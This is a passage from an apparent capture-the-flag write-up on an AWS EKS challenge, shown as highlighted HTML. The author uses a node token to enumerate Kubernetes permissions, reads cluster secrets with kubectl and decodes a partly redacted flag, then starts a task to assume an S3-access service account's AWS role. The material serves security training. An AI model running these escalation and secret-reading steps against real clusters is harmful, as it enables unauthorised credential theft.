#ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTOKEN=$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e eks get-token \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--cluster-name\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e eks-challenge-cluster\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e '.status.token' \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-r\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emay\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eincomplete:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewebhook\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauthorizer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edoes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esupport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003euser\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNon-Resource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eURLs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eResource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNames\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVerbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eserviceaccounts/token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                           []                  [debug-sa]         [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   []                  []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    []                  []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epods\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                            []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003esecrets\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                         []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eserviceaccounts\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                 []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api]              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis]             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]        []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]         []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]         []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      []                  [eks.privileged]   [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ePerfect!  We have more access which includes fetching secrets:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"items\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"data\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"flag\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3\u0026#x3C;*REDACTED*\u003e=\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Secret\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"metadata\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T12:27:57Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"name\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"node-flag\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"namespace\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"challenge4\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"883574\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"uid\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"26461a29-ec72-40e1-adc7-99128ce664f7\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"type\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Opaque\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"List\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"metadata\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo we just need to base64 decode that and we are on to the next challenge!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.items[0].data.flag'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-r\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{only_a_real_pro_can_navigate_\u0026#x3C;*REDACTED*\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eChallenge 5\u003c/h1\u003e\n\u003cp\u003eThe hint:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eYou've successfully transitioned from a limited Service Account to a Node\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eService Account! Great job. Your next challenge is to move from the EKS to the\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eAWS account.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eCan you acquire the AWS role of the s3access-sa service account, and get the flag?\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo lets start with checking what access we do have:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewhoami\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003esystem:node:challenge:ip-192-168-21-50.us-west-1.compute.internal\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eCan we list buckets?\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003els\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eerror\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eoccurred\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (AccessDenied) when calling the ListBuckets operation: Access Denied\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNope!  So we need to figure out how to become the \u003ccode\u003es3access-sa\u003c/code\u003e. What access do\nwe have?\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emay\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eincomplete:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewebhook\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauthorizer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edoes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esupport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003euser\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNon-Resource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eURLs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eResource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNames\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: 